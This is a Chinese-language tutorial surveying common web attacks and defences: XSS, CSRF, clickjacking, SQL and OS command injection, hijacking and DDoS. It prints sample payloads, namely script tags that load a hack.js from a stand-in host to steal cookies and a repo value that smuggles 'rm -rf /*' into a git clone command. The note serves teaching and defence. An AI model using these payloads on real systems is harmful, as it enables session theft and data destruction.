前端安全常见Web攻击方式 xss攻击 - 盗取登录态信息定义跨站脚本攻击，主要使用 JavaScript 向网站注

常见Web攻击方式

xss攻击 - 盗取登录态信息

定义跨站脚本攻击，主要使用 JavaScript 向网站注入代码，以实现盗号、窃取资料的目的。

分类

反射型

http:// localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
// 端域名伪造 https://dwz.cn/

a)  生成短连接网址
b) 让用户点击，盗取登录态信息，在浏览器中 cookie，模拟用户登录

存储型 - 存储到DB后读取时注入

// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>

一次注入，永远存在，之后登录的用户信息将一直发送给黑客

针对上面两种攻击

ctx.set('X-XSS-Protection', 0) //禁止XSS过滤

0 禁止XSS过滤 1 启用XSS过滤（通常浏览器是默认的）。如果检测到跨站脚本攻击，浏览器将清除页面（删除不安全的部分）

防御策略

1、内容安全策略

（CSP, Content Security Policy）是一个附加的安全层，用于帮助检测和缓解某些类型的攻击，包括跨站脚本XSS和数据注入等攻击

CSP本质上就是建立白名单，开发者明确告诉浏览器哪些外部资源可以加载和执行，我们只需要配置规则，如何拦截是由浏览器自己实现的，我们可以通过这种方式来尽量减少XSS攻击

// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
//只允许加载 https 协议图片
Content-Security-Policy: img-src 'https://*'
//不允许加载任何来源框架
Content-Security-Policy: child-src 'none'


ctx.set('Content-Security-Policy', 'default-src', 'self')

2、转义字符

ejs 转义小知识

<% code %> 用于执行其中 JavaScript 代码
<%= code %> 会对 code 进行 html转义
<%- code %> 将不会进行转义

3、黑名单

用户的输入永远不可信，最普遍的做法就是转义输入输出的内容，对引号，尖括号，斜杠进行转义

4、白名单 - 白名单库 xss

const xss = require('xss')
let html = xss('<h1>XSS Demo</h1>')

5、HttpOnly Cookie

这是预防XSS攻击窃取用户cookie最有效的防御手段，web 应用程序在设置 cookie 时，将其属性设置为HttpOnly,就可以避免该网站的 cookie被客户端恶意 JavaScript 窃取，保护用户 cookie信息

response.addHeader('Set-Cookie', 'uid-112; Path=/;HttpOnly')

csrf攻击 - 利用登录态信息

定义：跨站伪造请求，它利用用户已登录的身份，在用户毫不知情的情况下，以用户的名义完成非法操作过程：

用户已经等了了站点A，并在本地记录了 cookie
在用户没有登出站点A的情况下（也就是 cookie 生效的情况下），访问了恶意攻击者提供的引诱危险站点B（B站点要求访问站点A）
站点A没有做任何SCRF防御

防御方式

Referer Check Https 不发送 referer（没什么用）

app.use(async (ctx, next) => {
    await next()
    const referer = ctx.request.header.referer
    console.log('Referer', referer)
})

验证码人机图形验证码 + 短信
cookie 值进行 hash: 攻击者在访问信任网站A时，虽然浏览器可以在请求中带上 cookie，但是网站A确不仅仅通过 cookie 来判断用户身份，同时通过用户发送过来的内容中的伪造机数（图形验证码，手机短信验证码）判断请求真正是用户发送的，攻击者在请求A的时候，不能在提交的内容中产生伪随机数（通过 cookie哈希化的值）

点击劫持 -

定义：点击劫持是一种视角欺骗的攻击手段，攻击者将需要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中，并将 iframe 设置为透明，在页面中透出一个按钮诱导用户点击

防御方式

X-FRAME-OPTIONS X-FRAME-OPTIONS是一个HTTP响应头，在现代浏览器有一个很好的支持，这个HTTP响应头就是为了防御 iframe 嵌套的点击劫持攻击该响应头有三个值

DENY 表示页面不允许通过 iframe 的方式展示
SAMEORIGIN 表示页面可以在相同域名下通过 iframe 的方式展示
ALLOW-FROM 表示页面可以在指定来源的 iframe 中展示

cxt.set('X-FRAME-OPTIONS', DENY)

JS 方式

<head>
  <style id="click-jack">
    html {
      display: none !important;
    }
  </style>
</head>

<body>
  <script>
    // self是对当前窗口自身的引用，window 属性是等价的
    // top返回顶层窗口，即浏览器窗口
    if (self == top) {
      var style = document.getElementById('click-jack')
      document.body.removeChild(style)
    } else {
      top.location = self.location
    }
  </script>
</body>

以上代码的作用就是当通过iframe的方式加载页面，底部隐藏的网页直接不显示所有内容

sql注入

定义：直接攻击系统数据库，可以实现数据库级别的操作，盗取数据

文件上传漏洞

定义：指用户通过利用 windows 文件命名规则，上传了可执行的脚本文件（通常是 php）,并通过此脚本文件获得了执行服务器端命令的能力

OS注入

定义 os 命令注入和 sql注入差不多，只不过 sql 注入是针对数据库的，而 os 命令注入是针对操作系统的，os 命令注入攻击指通过 web 应用，执行非法的操作系统命令达到攻击的目的，只要在能调用 shell函数的地方，就有存在被攻击的风险，倘若调用 shell时存在疏漏，就可以执行插入的非法命令

// 以 node.js 为例，假如在接口中需要从 GitHub 下载用户指定的repo
const exec = require('mz/child_process').exec
let params = {// 用户输入的参数
}
exec(`git clone ${params.repo} /some/path`)
// https://github.com/xx/xx.git && rm -rf /* &&

请求劫持

DNS劫持顾名思义，DNS服务器（DNS解析各个步骤）被篡改，修改了域名解析的结果，使得访问到不是预期的 ip www.baidu.com -> ip -> wifi -> dhcp -> dns -> 黑客服务器
HTTP劫持运营商劫持，此时大概只能升级HTTPS了

DDOS

定义：DDOS不是一种攻击，而是一大类攻击的总称，它有十几种类型，新的攻击方法还是在不断发明出来，网站运行的各个环节，都可以是攻击目标，只是把一个环节攻破，使得整个流程跑不起立，就达到了瘫痪服务的目的其中，比较常见的一个攻击是 cc攻击，它就是简单粗暴地送来大量正常的请求，超出服务器的最大承受量，导致宕机，常见的攻击方式

SYN Flood 此攻击通过向目标发送具有欺骗性源IP地址的大量TCP‘初始连接请求’SYN数据包来利用TCP握手。目标机器响应每个连接请求，然后等待握手中的最后一步，这一步从未发生过，耗尽了进程中的目标资源
HTTP Flood 此攻击类似于同时在多个不同计算机上反复按 web 浏览器中的刷新，大量HTTP请求泛滥服务器，导致拒绝服务

防御

备份网站备份网站不一定是全功能的，如果能做到全静态浏览，就能满足需求。最低限度应该可以显示公告，告诉用户，网站出来问题，正在全力抢修
HTTP请求拦截高防IP-靠谱的运营商硬件服务器防火墙

-带宽扩容 + CDN 提高犯罪成本